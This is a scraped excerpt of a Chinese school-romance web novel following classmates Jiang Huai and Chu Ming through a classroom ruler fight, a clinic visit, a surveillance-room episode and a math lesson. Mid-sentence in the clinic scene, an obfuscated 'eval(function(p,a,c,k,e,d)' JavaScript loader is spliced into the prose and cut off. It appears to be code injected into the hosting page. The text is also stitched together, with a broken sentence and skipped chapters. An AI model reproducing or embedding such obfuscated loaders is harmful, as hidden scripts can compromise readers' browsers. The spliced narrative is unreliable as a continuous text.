江淮收回右手看了一眼,尺印不错,他笑着把掌心抬高:“烦请各位看两眼有个印象。” 起哄的声音骤然矮半截,都齐刷刷地盯着他纤白的手心,中心凹出淡紫红色肿条,触目惊心。 “看够了?”江淮见两位前桌收回视线,掀起眼皮扫向无眉姐,在她不知所以的目光里迅速劈下戒尺,戒尺在空中腾转一周半精准卡进手心。 下一秒江淮手心顶着戒尺立在桌上,冷声对无眉姐说:“手。” 19. 第 19 章 教室瞬间就乱成一锅全是老鼠屎的糊粥,糊咖都糊不到这种程度的糊。 慌忙间刘明宇站起身来想要制止但被江淮扫来的眼神吓得不敢上前。 江淮挑起半边眉扫了眼她垂在身侧的手:“你打我我不打你多亏是不是?” 他淡声说完嗓音骤然转冷:“再说一遍,手。” 无眉姐立刻双手抱胸怒斥道:“你他娘的连女人都打还是东西吗?” 江淮淡定:“我没说过我是东西。” 楚明:“……” 他默默地把扣着江淮手腕的手缩回来。 并慢慢地想把脑袋抬回去,这样趴江淮大腿上实在有些废腰。 但江淮显然没打算让他看,依旧一手轻按着他。 无眉姐没再说话,看了眼后排的几名男生后上前跨步就势要夺回戒尺。 刚扑腾着伸到半空的手被江淮以一个极度刁钻的动作给打中。 “啪”地一声,半个教室都能听到戒尺和手心肉深度交流的密语——暧昧得世界都安静了。 “嗷——” 火辣辣跳突着灼烧着撕裂般的疼痛从手心一步迸到神经时,无眉姐捂着手就向半边倒去,被身后男同学给不那么稳地接住了。 江淮横执戒尺,手腕一翻把戒尺立在桌面。 看她弓着腰被痛得说不出话,把戒尺递出去:“要送你去医务室吗?” 无眉姐拧紧空白的额头,右手放在左手上,已然形成一个像被斧头砍凹进去的姿势,上面是辣红的印子,她吼道:“你他娘的真打女人啊!” 江淮低眸扫了眼自己虚握戒尺、泛紫且有些破皮的手心,偏头看着她说:“这叫互不相欠。” 无眉姐把手心摊出来对着前排:“来个人去找班主任来!” 前排皱着眉说:“今天年级班主任开会。” 江淮轻呵一声:“换个老师吧,等会印子消了鉴不了伤。” 他劲收着基本没怎么用力。 声音响只是一些小伎俩,就跟有的人拍巴掌拍贼响一样——唬得住人便是好伎俩。 无眉姐狠狠地瞪他一眼,低头时发现确实等那股辣劲过去手心挤出的血红便慢慢褪去,她狠狠地皱着眉毛的土壤,把戒尺夺过转身回到讲台。 连带着把看戏人的目光也全部带走。 江淮缓缓把楚明拎起来。 楚明坐正时手掌钳住侧腰连着生按了好几下才止住那点儿酸痛。 他余光瞥着江淮,见他面无表情地用右手捏住笔在草稿纸上写着东西,不禁皱眉。 刚才他捏着江淮的左手……所以后来江淮被打的那只手同时还撑着戒尺。 楚明幻痛了两秒,主动问道:“你没事吧?” “没什么感觉,”江淮低声应着,有些肿条的右手甚至还翻转着黑笔在玩。 楚明:“……”他实在是有些佩服这个人身体的硬度,轻叹一声后收回视线。 “默写默写默写!”无眉姐坐回讲台用戒尺在讲台上敲了一阵暴躁版二泉映月后,歇斯底里:“不写的、错太多的罚抄二十遍!!” 江淮眼都没抬,兀自在草稿本上写写画画。 半分钟后草稿本被推到桌缝之间,他用笔戳了下楚明的手。 楚明垂眼看去。 跟我去趟医务室。 ——江淮。 楚明看向他:“……啊?” 像是读懂了他的疑惑,本子上立刻落下两个字。 现在。 楚明:“……” 随后就见江淮小腿把座椅推到贴墙,起身时抬了下手:“上厕所。” 整个教室的同学脑袋转体半周向这边看过来。 江淮无甚所谓地站在座位上:“看屁看,要一起吗?” 21班同学清一色地半周转体回去:“……” 江淮清理完一众视线后看向还坐得像只嗷嗷待哺傻兔子的楚明,极轻地扯了下唇角。 楚明见状轻手轻脚起身,抬脚跨过座椅站到他旁边。 一前一后走出后门江淮便伸手揽住他肩往自己这边一带:“我问你。” 楚明身体缩了下,不太自然地回应:“……什么?” 江淮说:“如果今天那傻逼打的是你,你要怎么做?” 楚明眼睫轻颤。 江淮手臂长,从搭肩渐渐过渡到勾颈、手肘窝几乎是卡在楚明侧边颈动脉上的。 他半个身体的重量都无意识地压在楚明身上,微微垂眸能看清楚明轻轻扑闪着的眼睫毛,挺长的,也挺浓密。 江淮克制住有些想挑弄他睫毛的冲动。 把人往楼梯下带时右手无名指勾了勾他下巴窝:“问你呢。” 楚明没急着回话。 他注视着越来越少的梯级、而后是平台、再是十几级的楼梯,目光有些涣散。 涣散里还带着些声音,尖锐的、哄笑的、嘲弄的…… 他有些说不出话来,就好像……江淮给到他的问题,压根儿于他而言就不是什么……假设。 “你哑巴吗?”江淮见他半天不说话,竟然有些习惯了,他说道:“给个声儿,傻逼。” 楚明回过神来,这才意识到已经下到一楼,正绕过树坛。 他连忙说道:“我会去讲台上默写。” 江淮问:“为什么?”他补充了句:“看不出人让你上讲台是为的什么吗?” 楚明轻顿:“……少点事总是好的。” “你他妈老庄学多了吧?”江淮把他往自己身上扣紧了些,沉声说道:“这种事情有一就有二,跟他妈细胞分裂似的,多到你考试都能算错,是想少就能少的吗?” 楚明:“……” 江淮看着他:“你怎么这么软?” 楚明瞳孔不受控制地放大:“……啊?” “要是我真跟你有什么关系,”江淮把他松了些:“我保准会揍你。” 楚明:“……” - 校医务室坐镇的五十老正磕着瓜子刷短视频。 忽地就见门槛被人踩到,而后两道挺拔的身形走进来,跟踢馆似的杵在那遮天蔽日挡阳关阻止他长高。 五十老僵住:“干嘛?干嘛?” “上点药,”江淮熟练地坐到病床上,把肿得有些高的右手朝他摊开:“麻烦快点。” 五十老:“……嘛呢,有这么吩咐医生的吗?” 江淮眼睛轻眯:“还要怎样啊?庸医。” 五十·庸医·老:“……” 他低头扫了眼江淮不堪入目的手心,啧啧两声后说:“哪个老师打的?打得不错。” 江淮:“……” 说着五十老转过身去拿了瓶涂抹的药,正准备学食堂阿姨江湖绝技之颠勺,才发现门槛旁还站着个学生,他忙问道:“你干嘛的?” 楚明看向他:“我陪他。” “正好,”五十老把药瓶和棉签一并递给他:“你来你来,我庸医我不行。” 楚明:“……” 庸医面前摆着带支架的手机,手机横屏正播放着不堪入耳的老年人广场舞bgm。 江淮瞥了眼旁边拧瓶盖取棉签蘸药糊的楚明,这才看向庸医,说:“您耳朵没事吧?” “什么?”庸医吐掉沾嘴唇上的瓜子皮,扭头看他:“我耳朵没事啊。” “声音小点,”江淮毫不客气地说:“我只对听障人士好脾气。” 庸医一怒之下把音量键连按四下:“杜子美我懂你啊,南村群童欺我老无力……” 江淮偏过视线:“谢谢了,老无力。” 庸医:“……” 楚明把药糊蘸好,坐在床边低圆板凳上,看了眼江淮垂在右膝上的手心,极轻地朝手心吹了吹气, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“脊椎啊,”庸医往衣服上拍了拍手里的瓜子灰,往旁边洗了把手后走到床边:“来坐直,我看看。” 楚明一愣:“真看啊?” 庸医手掌撑开按在他脊柱上:“怎么假看你告诉我。” 楚明:“……” 他看不清庸医的动作,只能望着站在面前正垂眸看着自己的江淮。 江淮轻笑一声:“庸医,他骨头是软的吗?” 楚明:“……” 庸医:“……” 庸医正摸完一个流程,闻声不悦地皱皱眉:“硬着呢,多大孩子了问这么幼稚的问题……这孩子骨头长挺好的,没怎么歪,不像现在一些人二郎腿翘多了一检查屁股都是歪的。” 江淮慢慢地点了点头:“哦,谢谢庸医。” “还是叫我医生吧,”庸医收回手时拍了拍楚明的肩,看着江淮:“不至于才见两面就爱称爱称的叫。” 江淮:“……” 楚明不动声色地抿唇笑了笑,嘴角一边微微扬起小括弧。 庸医在执勤表上列了一项后,忽地听见下课铃声,皱眉看着这俩:“你俩,逃课呢?” 江淮说:“算是吧。” “这么理直气壮!”庸医指了下他的手:“得亏你有点小伤,不然我都不好交差……送你张伤情报告,拿回去应付你们班主任……这位同学要不要一张?” 楚明摇头:“不用了。” 江淮接过那张写着“手掌受伤,具体症状为XXX……”的单子,轻顿:“帮他开张吧,随便什么病。” 庸医:“……你当我真庸医呢还随便开开!” 江淮看着他:“不能吗?” 一分钟后楚明拿着张“腰椎间盘突出……”的伤情单子走在激昂的跑操铃声里。 江淮将他肩勾着,说:“哥带你逃次跑操。” 20. 第 20 章 八中操场是非标准的400米跑道,中央人造草坪,跑道外连接着小篮球场、乒乓台和基础器械(具体指引体向上类)。 而跑操请假学生站在这些基础器械旁,各种林黛玉和梅长苏捧着书仰天长读。 场面蔚为壮观。 “一二一、一二一、一二一二一二一……一二三四!……” 跑操队伍经过时甚至能看到带喊口号人激昂的情绪和发红的扁桃体。 江淮靠着单杆,轻声说:“走不走?” 楚明站在他旁边,闻声回道:“去……哪?” 江淮凑到他耳边说:“学校监控室,你带路。” 楚明:“……” - 跑操音乐仍在激越地放着,方阵口号的声音淹没在层层声浪里。 但转眼这些声音便被墙壁阻隔,淡得无痕。 江淮跟着楚明来到学校统一监控室,敲响门的时候里面的值班人员朝江淮挑了挑眉:“哎我认识你!” 江淮看向他:“是吗?” “是啊,回回查监控扣分都有你,”值班人员说:“想不记住都难。” 江淮:“……” 楚明在他身后极轻地笑了下,又飞快地收起嘴角目光坚定地看着前方。 “你们不跑操跑这干嘛?”值班人员挂着的牌子上写着名字,姑且只知道他姓王,“皮痒了来扣点分吗?” 江淮想也没想拿过楚明的病情单,把两张亮着朝向他:“扣不了吧。” 王值班一顿:“……不错不错,掌握规则了。” “我调段监控视频行吗?”江淮单刀直入地问。 王值班摇头:“不行,除非你对扣分情况或者什么有异议可以调看。” 江淮立马:“我有异议。” 他扣的分林林总总实在繁复,王值班想一口回绝都总觉得万一真有什么错看看错呢,于是勉为其难地说:“你过来吧。” 江淮看着几十张巨大的监控屏,走到操作台面前时说:“我自己来。” “你会吗你?”王值班说。 江淮坐下:“难在哪?” 王值班:“……” 楚明安静地坐在门边的高瘦圆椅上,微往后仰静静看着江淮飞速点进度条的手指。 他手真挺好看的,手指长而窄,手背皮薄,底下那些青筋凸得明显,经络分明骨感有力。 江淮翻阅速度极快,找到需要的那截视频时按住鼠标开始操作。 旁边王值班看着去了,看清上面大打大闹的场面,轻叹了口气。 江淮拧着眉往旁边转开:“别在我脑门上哈气。” 王值班:“……” 他为缓解尴尬,自顾自地说道:“江同学,你知道我同事都怎么调侃你的吗?” 江淮拧眉:“关我屁事。” 楚明坐在旁边转而看向他的后脑勺:“……”这脾气。 王值班愣了愣,迫于分享地说道:“我同事说,要把你那些视频截下来发网上都能直接起号了。” 江淮:“……” 他摁着空键不悦地点了几下。 “不过你放心哈,学生隐私我们还是保护得很好滴!”王值班力挽狂澜:“就是平时上班太无聊总要聊些东西嘛——诶你干嘛呢?” 江淮没答,只问:“我上课睡觉是怎么通报到班主任的?” “就往那个班级分扣分情况通知班主任群发啊,”王值班说:“主打一个公开处刑。” “哦,”江淮用的是王值班的工作电脑,想也没想直接小窗把那段视频拖到他方才说的群里,若无其事地聊着:“所有班级都是你在监视吗?” “别用监视这个词,”王值班说:“就是偶尔看一眼……有些时候也顾不到全部,但你我肯定顾得到,你班比较精彩。” 江淮:“……” 他轻顿后问道:“所有教室都有监控?” “是啊,除了厕所都有,”王值班说:“今时不同往日,学生要查,老师也要查,都没那么安逸。” 两分钟到了,江淮收回手站起身:“再见。” 王值班戛然而止:“……” 转眼江淮就勾着楚明的肩走出监控室。 王值班意犹未尽地坐下开始欣赏满屏的青年才俊,忽地发现微信图标一直在红闪,他连忙点开,看清了由自己头像发出去的那段视频后噌地站了起来! 发的什么啊! 他连忙点开看,看清主角是江淮后猛地松了口气: 好家伙,放自己黑料呢。 - 跑完操学生尽数回到班级,数学课临时改为随堂检测的自习课。 江淮、楚明和无眉姐被叫进班主任办公室。 走之前楚明轻轻叹息:又我…… “要我说你们什么好呢?”大马猴在空无一老师的办公室里自由发挥:“你们不知道那视频发在班主任群,我一张老脸都要被你们丢尽了。” 江淮看着他:“不差这一次,在这恨海情天些什么。” 大马猴登时看向他:“江淮同学你……” “我怎么?”江淮看了眼旁边的无眉姐:“我不是东西。” 无眉姐:“……” 大马猴连忙转向她,说道:“你说你也是,都上到高二算老学生了还在班上搞这种东西。我一开完会见班主任群里一堆@我的消息……我平时管你们够累了你们还不让我省心,这都是快成年的人了不能稳重些吗?” 无眉姐叹着气说:“老师,我本意是想帮您的。” 大马猴皱了下眉:“帮我什么?我有什么忙用得着你帮?” “新同学心气高总得降降,”无眉姐瞟了眼江淮说:“总不能任他自由,那算怎么回事……而且就打个手板,我手轻,也算是为班级贡献力量喽。” 江淮闻声指尖轻捻。 大马猴看着她,没再说话,扭头看向江淮欲言又止后叹了叹气,最后转眼把视线落到楚明身上,中气十足:“你也跟着瞎掺和?” 楚明没有说话,只是微微垂头看着并不干净的地面。 “你就这副死样子,怎么什么事情都要掺和一脚成天惹是生非的,”大马猴指着他:“这事第一次发生,我口头说说就算过去了,再敢有第二次就都给我把家长请来,听清楚没有?” 江淮抬手攥住大马猴单伸出来的食指,往旁边轻轻一撇。 大马猴立马睁圆了眼睛看过来:“江淮你要干什么?” 江淮冷声说:“您叫楚明来干什么?” “自然是有错就要挨批评,”大马猴咽下一口唾沫后说道:“及时止损,不然日后错处越来越大,怎么整?” 江淮问:“您看视频了吗?” “自然看了,不然我无凭无据不会叫你们来。”大马猴把被撇开的食指掰正,皱着眉回答。 江淮微微侧了下头,视线落在他电脑上:“视频点开。” 大马猴:“……你要做什么?” 江淮没解释,说 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楚明极轻地掀起眼皮往他所在的方向瞥了眼。 只能看清江淮套着白色校服外套的背影、一截纤长的脖颈、看不太真切的侧脸。 “我……”大马猴还是低头看着那段视频,试图在视频里找到最后一排任何关于楚明的影子。 但没有。 监控设备成像一直是高清式的,虽设在讲台边,但一般情况下最后一排同学打瞌睡、即使眼睛绿豆大小的都能看个分明。 这次却始终找不到他想找的同学。 无眉姐在旁站着,相当意外地看向江淮,低声吼道:“你利用我?” 江淮毫不避讳地说:“傻逼吗张口就来?” 无眉姐:“……” 大马猴还在那头机器人式看电脑,最后他轻轻推了下眼镜,不太高兴地扭过头。 “楚明同学——” 楚明看向他。 大马猴其实年纪并不大,还未过四十,但当时进班第一面他却觉得大马猴像极了四五十岁。 现在这副模样看着似乎更年迈些。 楚明轻顿,微微鞠躬,说:“老师不用这样,我有我不对的地方,您教育是应该的。” 江淮偏过头看了楚明一眼。 楚明并未回他目光,而是向着大马猴的位置微垂头。 大马猴顿时松下一口气,摆手说道:“好了好了,今天误会一场,回去都好好反省一下自己的言行,日后注意些……快回去上课吧,我等两分钟就到班。” 无眉姐立刻应声:“好的,老师。” 接着楚明也转过身往门外走。 江淮站在原地扭头看了眼自动停播的视频,右手不自觉地攥住,他转身也跟着回到班级。 就跟那戍外将军回朝一般,三人陆续回到座位时扭过来扭过去的脑袋数都能数睡一个人了。 前排后排俱在窃窃私语些什么,目光在教室里自由分窜。 楚明安静地坐回里面,继续做摊在桌面上的数学题。 而后一步进来的江淮随散地坐到座位,黑笔在手里飞转少许后,他转手在草稿本上写着什么。 笔尾巴戳在楚明手背。 楚明抬眸往草稿本上看了一眼,瞳孔骤然放大。 25-30 第25章 第 25 章 “又他妈是你。” 楚明扭过头来:“?” 江淮先是一把拍飞赵逵逵指着人的手指, 跟着视线往楚明身上看去。 早自习期间空调还没完全填充整间教室。 夜里积攒的热气和窗外明灿的阳光共同拔高了清晨的热度。 楚明没穿校服外套,里头那件短袖也穿得不是特别规矩。 他右边脖颈处有道印线明显的齿痕,连着些往下露出的那截锁骨上, 也有着一团晕开的红痕。 楚明愣了一下: 难道昨晚和今早这两次, 不是……梦吗? 他下意识看向江淮。 江淮轻抿着唇,一时间没作出任何反应。 他伸手捻了下楚明脖颈那处咬痕,一搓,楚明一颤。 江淮沉声:“你抖什么?” 楚明站成一条兵, 看着他目不转睛:“……” 赵逵逵不解地看着江淮:“哥们, 这不至于造假吧?你要羡慕你也可以找一个,说实话你长得真挺校园男神的,不愁找不到吧。” 江淮冷他一眼:“回你座位。” “哦, ”赵逵逵临走前朝楚明竖了个大拇指:“牛逼啊兄弟。” 楚明:“……” 江淮拧眉看着这两处痕迹,压低声音问:“你他妈怎么这么娇气?” 楚明:“?” 他听着这话,微顿:“你咬的啊?” 江淮收回手, 沉着脸:“我咬的, 叫你你根本不醒。” 楚明:“……” 赵逵逵,还是你江小狗兄弟更牛逼。 江淮没想到咬一口居然还能留痕,还他妈留得这么色.情, 扭过头冷声说:“你遮一下。” “哦。”楚明垂下眼皮, 轻叹息之后把校服披到肩上, 两手穿出袖口, 顺便把领子往上提了些- 第一节课下课后是收作业高峰期。 几科课代表走到讲台看着睡得不像人样的同胞们, 忍痛喊道:“最后一排收《名师解读》——” 习惯性说到这里女生戛然而止,换道:“第一排收,第一排收!” 江淮轻顿,坐回去。 他余光瞥见楚明把一摞几本练习册摊开在桌面, 规规矩矩坐着等人来收。 他起身走了出去。 两步之后楚明跨过他座椅也走出后门,上厕所。 等上完厕所出来江淮在洗手台前洗手,刚关水就见楚明走了过来。 目光对撞在镜子里,楚明飞快地垂下视线。 江淮则大大方方地撑着洗手台从镜面打量他……弯腰洗手时锁骨往下大片肌肤尽数倒映进镜中。 江淮想也没想伸手拎了下他后衣领。 楚明被他这夺命一拎差点勒断呼吸,迅疾地拍停水龙头就跟着往后退了一步。 他轻声问:“怎么了?” 江淮松开手,“没事。” 说完便头也不回地出了厕所。 楚明:“……” 他稀里糊涂地把领口拉正,跑出去先他也一步进到座位里。 数学课下课跑操,江淮正准备起身去请个假就先一步被大马猴留住了。 正要出去的楚明:“……” “保安室里说有人欺负你,”大马猴没管楚明,带着难以置信的口吻说出这句话,说完半天震惊还回荡在嗓音里:“你,你先别去跑操,去主任办公室把事情说明白。” 江淮轻顿:“我去?不能他们来吗?” 大马猴看着他:“……” 大哥,你要干嘛? 大马猴尽可能心平气和地说:“虽然你可能受了欺负,但毕竟是老师和主任来处理事情,让他们跑来跑去也不好,是不是?” 江淮隐隐看了眼自己的腿,抬眼看他:“怎么不好?” 楚明:“……” 大马猴:“……” 江淮说:“我大可以自己处理,没求着谁来主持公道。” 大马猴目瞪口呆: 这屁大点儿的学生哪来这么多歪理! 他深呼吸:“江淮同学,你不要这么……”他说着轻顿,看向旁边跃跃欲试要翻桌子从前桌出去的楚明,咳了一声:“楚明,你带江淮同学去主任办公室,他可能不认路。” 说完两个小碎步就疯狂挤出了后门。 江淮:“……” 楚明:“……” 空荡的教室里只砸着外面广播里跑步集合铃声的节奏。 楚明沉默两秒后开口:“我带你去吧。” 江淮转头看着楚明,歪着脑袋拧眉:“又他妈是你。” 楚明:“……” 他轻顿,说:“就几步路,劳驾。” 江淮看了他一眼,没多言语地起身,跟着他一路走到尽头处的办公室。 楚明转身就要走,江淮眼疾手快地拉住他手腕,说:“你在这等我。” 楚明眼皮跳了一下:“嗯?” 江淮看着他:“你很想跑操?” 楚明轻顿,拔出手腕靠着旁边的白墙站着。 江淮点了点头,叩门进去了。 办公室挺宽敞,空调度数极低,进来就像走错空间进到南极了。 江淮瞟了一眼里面的人。 饮水机旁站着那三个电动车男,保安大叔抱着警棍坐在铁板凳上,至于办公椅上则坐着两个中年男人。 发型平分秋色不分伯仲,一个地中海,一个只剩脑袋中央一撮毛。 地中海问:“你就是江淮同学?” 没等江淮说话,保安大叔代为回答说:“是啊,他就是,老有名了。” 江淮:“……” 一撮毛问:“能讲讲昨天晚上发生什么事情了吗?” 江淮看向旁边挤在一堆人工发热的三人,冷声:“他们说。” 三人:“……” 一撮毛呛了一声:“你们仨派个人出来说。” 其中一个男生站了出来:“老师,真的不是他说的那样,我们没有跟踪他回家,只是路上碰巧遇到了……顺路就跟着走了,结果他迷路我们也跟着迷路,不小心绕到学校了。” 江淮:“……” 保安大叔被这套说辞震了一下:“昨晚不是这么说的啊?” 男生字正腔圆的:“叔叔您记错了。” 保安大叔:“是吗?” 男生:“是啊,祖国未来花朵的记忆力肯定要比大叔您好一些。” 保安大叔:“……” 地中海和一撮毛互相对视一眼后,地中海说道:“那这就是个误会嘛。” 一撮毛跟着:“对啊我就说嘛,都小孩子家家的哪来那么多坏心眼……我看现在时间正好,还可以捧本书到操场去背会儿书,那今天就到这里?” 江淮冷笑着挑了下眉,他说:“你们都谁啊?” 地中海和一撮毛再度对视,眼里是本是同根生的清澈。 后排男生热心解答:“教导主任和年级组长。” “哦,我以为你们爸呢,”江淮把一进门便物色好的椅子拉到身后坐下,淡声说。 三位男生:“……” 地中海和一撮毛:“……” 江淮轻轻把左膝安放好,往后靠实在椅背,轻眯了下眼,问:“事情是这样的,他们飙车撞伤我一条腿。” 说着他把兜里卷好的诊费小票伸到半空:“这是诊所开的凭证。” 包括保安大叔在内的所有人俱是愣住,就跟被按了暂停键一样。 江淮轻轻一笑,笑意不达眼底:“接一下,手举累了。” 地中海坐在前面些,嘴里无声地叽里咕噜着,伸手去够那张白纸。 时间:9月12日00点49分41秒。 诊单内容大致是说:左膝半月板轻度撕裂…… 地中海愣头巴脑地看向三个男人:“你们干嘛了?” 三个男生也以为自己干嘛了,你看我我看你我再看看你把自己连同剩下两张脸看了个究竟,怔愣如初地说:“啊?我们明明跟在他很后面很后面,隔着老长一段距离啊……” 说着说着男生哑巴了。 江淮弯身抽回快被地中海吞并的纸票,扯了下唇:“傻逼。” 男生反应过来指着他:“你诈我们呢。” 江淮微微仰起下巴,轻轻点头:“不止,才骂完。” 男生:“……” “所以你腿没事啊,”地中海看了一眼他的腿,正常得紧呢,阴着张脸说:“你这孩子怎么连老师都跟着骗,才多大啊!现在能撒谎以后是不是能倒卖国家机密当叛徒做间谍了?” 江淮看向他:“刚满16。至于以后,志向还没这么远大。” 地中海皱眉拍桌:“……你!我早听说你一到21班就整得班级乌烟瘴气,一天扣的班级分能抵别的同学一年扣的,辱骂老师打骂同学,我还以为只是同学之间小打小闹在乱传,你现在这副样子让我怎么相信你。” 三位男生见风波转移,互相接了下眼色,憋着笑地往边缘缩。 江淮早有预料地轻点了下头,说:“偏题了,这位主任或是组长。” 地中海(年级组长版):“……” 三位男生的笑容也有片刻僵硬,就跟煮挂面漏出锅在外经历炙烤的那三根面条似的,干涸地飘摇着。 江淮指尖轻扣在大腿上,说:“前天从历史办公室学到的,就事论事。这位主任或是组长可以去请教请教,再来教育我。” 他没管回应,接着说:“至于我的诉求,三位做个检讨吧,我懒得看但爱听。” 说完他右脚直起看似无事地抬起左脚,把座椅拎回原位便出了办公室。 办公室外楚明听到动静慢慢转过身来。 刚转身江淮的重量便压了过来。 楚明猝不及防地被他的重量压到身后白墙上,从牙缝里挤出声音:“你……” 江淮右腿往前承力左腿虚悬,手心按在楚明肩膀处,就势靠在他身上,说:“让我靠一下。”—— 作者有话说:放心啊,小三位的跟踪其实没多大事[眼镜] 第26章 第 26 章 你还挺香的。 楚明微愣。 就这么把人扶着一时间说不出话。 他其实听到里面的谈话了——办公室门的隔音实在不怎么样。 尤其是江淮说的。 江淮靠了一会儿手心撑到白墙上, 吩咐道:“走。” 楚明不理解但照做,扶着他手臂便往楼梯口下去,被江淮临时改道, 遂往楼上蹦着去了。 楚明拉着他:“……去哪?” 江淮没应, 撑着他上了半层楼,走到两楼梯间的平台处时停下步子。 他说:“坐会儿。” 楚明跟着坐到那低窗洞洞口口沿,“嗯”了一声。 沉默。 像两个哑巴坐在一起的状态。 江淮坐着有些受限,上半身微微低俯, 垂眸看着没打扫干净的地面, 余光里瞥着楚明。 楚明单手托腮正阖眼休息。 江淮耐不住,伸手拍了下他大腿:“有这么困?” 楚明睁开双眼,沉默半秒后说:“没。” 他只是有些不知道该干嘛。 安慰吗?可江大哑巴刚在办公室里说得还挺爽的; 劝导吗?江大哑巴拳头没“劝导”到他身上算他输。 他静静地保持着岁月静好的状态, 感觉耳边忽高忽低的跑步铃声渐停,像找到缺口般他说:“你要先回教室吗?” 江淮扭头看他:“你呢?” 楚明轻顿:“我……也回啊。” “哦,”江淮手心撑着墙站起来:“我以为你还要回去跑操呢。” 楚明:“……” 运气还不错, 回到21班教室的路上并没有正面撞上负责巡查的学生会们。 楚保洁员先上讲台擦了个黑板才回座位。 走到江淮座位前时江淮已趴到课桌上俨然一副“我睡着了, 你要敢吵醒我你就死定了”的模样。 楚明:“……” 他目测江淮的座椅和后墙壁严丝合缝,又没刘翔的跨栏本事能跨过这么高一条人。 跑操部队还没完全进班,闹哄哄的谈笑生还窝在一楼。 楚明轻顿, 跨过前桌的座椅, 单手撑着课桌纵身一跃, 利落地翻回座位里——幸好先前习惯性地把座椅推进桌肚。 他脸不红气不喘地站直, 拉开座椅正要坐下, 就见江淮眼神幽幽地飞了过来。 楚明讶然:“我吵到你了?” 江淮目光上下扫了他一眼:“你再翻一个我看看。” 楚明沉默地坐下:“……” 江淮没罢休,脑袋跟着追到三八线的位置,说:“我之前还真低估你了。” 楚明抓到笔狠狠地握住,眼露胆怯地看向他:“我怕影响你睡觉……刚从桌子下面钻进来的。” 江淮:“……” 他看傻子似的看着他:“那你再钻一个我看看。” 楚明苦着脸笑不出来, 余光间后门外晃过人影,如获大赦般地说:“……要上课了。” 江淮问:“下课就行吗?” 楚明实实在在不理解他江同桌对某些事情的执着度怎么会这么高,当初造他的时候是不是用钢筋封铸的“执着”点啊! 他轻顿:“……嗯。” “行。”江淮挑了下眉:“我记着。” 跑完操人均热气机,裹挟着可以烫熟俩鸡蛋的能量值进教室。 上课期间四架风扇兼前面立式空调加后排中央空调同时开始工作。 江淮拧了下眉,把校服外套拢紧了些。 温度也太他妈低了。 他妈的21班的是群企鹅吗? 他把笔转着满怀不悦地抽出本数学习题册,指尖被冻得发凉,他目视前方看着讲台上打出个宇宙级喷嚏的大马猴。 没等他清理完鼻涕沫,江淮就举起手。 楚明:“……” 他趁大马猴还在埋头面红耳赤地擤鼻涕,抬手拉下了江淮举着的手。 江淮压着声音愠然看着他:“拉我干嘛?” 江淮的手腕是冷的,楚明收回手,把挂在椅背的外套递给他,没有说话。 江淮:“……” 他沉着脸接过外套,往外又套上一层。 没再举手。 大马猴这节课还停留在数列的收尾工作,以讲题兼题型总结为主。 江淮把袖口拉出来些包着半只手,抬手时鼻尖不可避免地嗅到外套上极淡的香气。 他轻挑眉,翻过一页在草稿本上写了些字,推过去。 楚明瞥了一眼。 你还挺香的。 ——江淮。 楚明:“……” 他想也没想就写回去,字体是急于纠正他用词的飘逸款: 洗衣液的。 江淮看着这四个字,有些无语,写道: 这他妈不是一个意思吗?傻逼。 ——江淮。 楚明觉得此时此刻标点符号是最无用的发明,如果定要说一点用的话,他会用一下六个点,表示无语。 他默默地收回视线,仿若无事发生地看着大马猴ppt上显示的那道题。 “利用等比数列的前n项和的公式证明,如果:……” 题瞟完就觉得没有做的必要,江淮低头继续看函数综合题,做着做着忽地听到楚明的名字。 抬眼就见楚明站了起来。 大马猴说:“楚明同学上来给我们写一下这题的过程,左边黑板。” 楚明微顿,目光垂向江淮。 江淮黑笔转了一圈,从座椅上站了起来,让出他出去的空间。 正准备坐下就听大马猴说道:“江淮同学右边黑板。” 江淮:“……” 正埋头和周公干不正当勾当的同学们纷纷抬起头来,兴奋得眼珠子都快镶进江淮背上了。 窃窃私语逐渐广而众之。 江淮经过走廊时随耳捕捉到两句。 “我猜他粉笔不会落到黑板上,可能会飞到班主任脸上。” “我赌他做不出来,没听说他高一都没上么,成绩再好也经不起这么跳啊。” 江淮挑起单边眉毛,走到讲台边瞄了眼那盒粉笔。 都是些断的,短截的。 楚明正在掏,掏出截白色粉笔时几根指头红黄绿蓝染了个遍。 江淮抽走他捏着的那根。 楚明:“……” 他默默地再掏一次,转过身来看向大屏幕上的这道题。 “其他同学也跟着做,”大马猴巡回在过道间,时不时往边上同学的桌面看一眼:“别光看热闹,等会我要找同学跟我说他们做的对不对,对在哪又错在哪,别一副事不关己高高挂起的样子。” 有些话老师说得嘴都快磨出泡了,同学的反应也只会是:啊,我耳朵上的茧又厚一层! 就像大马猴现在说的一样。 真正埋下去写题的屈指可数,而是夹缝中抬头看着讲台上的两位,生怕漏看了什么。 江淮始终看着题没动笔。 余光里楚明写了个“解”和“已知”,眉毛蹙着像在思考,食指指腹都快把粉笔头搓尖了都没见有数字或是汉字落下。 江淮:“……” 傻逼。 他往旁边走过去,胸膛几乎贴着他后背,伸手去够吸在左边黑板上方的黑板擦时,贴耳说道:“看作公比b/a,项数n+1,套公式。” 说完他把板擦顺走,两步回到方才的位置。 煞有介事地擦了擦自己这面干净如初的黑板。 底下时刻关注进程的同学们:“……” 大马猴没注意到,他背着手走回来时只看见江淮在挥舞黑板擦,善解人意地提醒道:“别擦完了啊,留出过程大家可以一起帮忙看哪里错了。” 江淮没说话,把板擦吸到顶上。 倒是几个前排的同学憋得咽喉肿痛,笑得前仰后合叽叽咯咯呵呵。 半分钟时间过去,江淮把粉笔截捻在手心,背靠讲台扫了眼楚明写的。 楚明单独列出了等比数列前n+1项和公式并把他提醒的那句话完完整整写在黑板上,便蹙着眉一副“真算不出来了”的表情。 江淮冷呵一声,绕过他下讲台时手绕过他的脸在他右脸上划了一道。 留下一条白色的粉末划痕。 “做完了?”大马猴回到讲台,看了眼楚明的忙轰道:“下去下去,写什么玩意儿——来看看江淮同学的。” 楚明默默地跟在江淮身后走回去。 途中好多双眼睛往他脸上看,还伴随着桀桀的笑声和听不太真切的说谈。 江淮坐下时往他脸上看了一眼,抬手抹掉那道白色粉末。 他妈的别说,楚明这脸还挺嫩。 江淮收回手。 楚明怔怔地也跟着抹了一道自己的脸,才惊觉刚才讲台上江淮的动作是在干嘛。 楚明轻捻指尖的粉末:“……” 江淮在草稿本上写着什么,没管大马猴在讲台上对着黑板贴身热舞,也没管时不时跳出来的随处传唱的他的名字,把草稿本推到中间。 就差把答案说给你,还证明不出来吗? 